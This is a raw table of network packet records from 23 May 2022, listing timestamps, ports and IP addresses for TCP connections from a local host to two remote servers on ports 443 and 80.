May 23, 2022 09:19:16.265935898 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266072035 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266119003 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266136885 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266136885 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266155005 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266190052 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266201973 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266216993 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266267061 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266278982 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266330004 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266346931 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266406059 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266415119 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266462088 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266469002 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266510963 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266519070 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266562939 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266571045 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266613007 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266621113 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266664028 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266671896 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266720057 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266730070 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266777039 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266783953 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266827106 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266835928 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266876936 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.266885042 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.266995907 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267039061 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267050982 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267059088 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267111063 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267118931 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267138004 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267190933 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267272949 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267307997 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267318010 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267327070 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267359018 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267366886 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267419100 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267425060 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267436981 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267518044 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267541885 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267554998 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.267570972 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267652988 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.267659903 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.282808065 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.282922983 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.282985926 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.282998085 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.283031940 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.283044100 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.283049107 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.283092976 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424231052 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424316883 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424364090 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424432039 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424453020 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424499989 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424542904 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424562931 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424580097 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424612045 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424648046 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424669981 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424689054 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424695015 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424755096 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424763918 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424781084 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424798012 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424823046 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424838066 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424855947 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424869061 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424885988 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424894094 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424899101 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424959898 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424964905 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.424973965 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.424978971 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425036907 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425050974 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425071955 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425113916 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425163984 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425175905 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425182104 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425194025 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425268888 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425275087 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425287008 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425340891 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425365925 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425389051 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425405979 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425410986 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425461054 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425476074 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425492048 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425501108 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425556898 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425559044 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425571918 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425640106 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.425657034 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.425725937 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.426086903 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.426140070 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.584964991 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585094929 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585192919 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585225105 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585263968 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585279942 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585285902 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585294008 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585331917 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585346937 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585356951 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585386038 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585402012 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585414886 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585427046 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585439920 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585477114 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585483074 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585496902 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585535049 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585582972 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585648060 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585711002 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585779905 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585808039 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585863113 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585897923 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.585958958 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.585984945 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.586038113 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.586071968 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.586100101 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.586158037 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.586239100 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.586245060 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.586260080 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.586298943 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.586322069 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.586325884 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.586348057 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.586424112 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.587860107 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.745507002 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.745635986 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.745800018 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.745810986 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.745841980 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.745876074 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.745881081 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.745903015 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.745912075 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.745933056 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.745955944 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.746001959 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.746074915 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.746118069 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.746164083 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.746185064 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.746195078 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.746213913 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.746238947 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.746253967 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.746309996 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.746329069 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.747224092 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.750587940 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.906793118 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.906872034 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.906975985 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907025099 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907044888 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907067060 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907083035 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907087088 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907094955 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907108068 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907414913 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907479048 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907502890 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907521009 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907538891 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907558918 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907565117 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907579899 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907603025 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907617092 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907634974 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.907668114 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.907681942 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.908013105 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908061028 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908099890 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.908119917 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908130884 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.908149958 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908158064 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.908166885 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908227921 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.908241034 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908286095 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.908318043 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908389091 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908394098 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.908406019 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:16.908438921 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.908454895 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:16.909373045 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.066031933 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.066150904 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.066348076 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.066422939 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.066577911 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.066638947 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.066782951 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.066920996 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.066967010 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.067079067 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.067121983 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.067151070 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.067222118 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.067389011 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.067456007 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.067471027 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.067522049 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.067532063 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.067573071 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.067579031 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.067614079 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.067660093 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:17.067707062 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.068259954 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.069603920 CEST	49172	443	192.168.2.22	188.114.97.10
May 23, 2022 09:19:17.069631100 CEST	443	49172	188.114.97.10	192.168.2.22
May 23, 2022 09:19:19.307853937 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.463855028 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.463937998 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.464550972 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.620074034 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.643933058 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.643959045 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.643975973 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.643994093 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.644004107 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.644011974 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.644031048 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.644032955 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.644038916 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.644047022 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.644047976 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.644062996 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.644079924 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.644619942 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.644639015 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.644658089 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.644685030 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.644701004 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.646995068 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.802902937 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.802974939 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805525064 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805608034 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805618048 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805645943 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805650949 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805699110 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805716038 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805732965 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805751085 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805757999 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805767059 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805772066 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805785894 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805803061 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805816889 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805830956 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805834055 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805844069 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805855036 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805861950 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805872917 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805872917 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805891037 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.805892944 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805907011 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.805923939 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.806418896 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.806456089 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.806482077 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.806483030 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.806500912 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.806513071 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.807569027 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.959208012 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.959319115 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.959326029 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.959359884 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961242914 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961251020 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961261034 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961282969 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961328030 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961355925 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961371899 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961390018 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961405039 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961419106 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961438894 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961457014 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961477995 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961478949 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961491108 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961508989 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961510897 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961536884 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961544991 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961555004 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961569071 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961572886 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961591005 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961595058 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961608887 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961610079 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961622953 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961639881 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961698055 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961715937 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961733103 CEST	80	49173	160.153.40.1	192.168.2.22
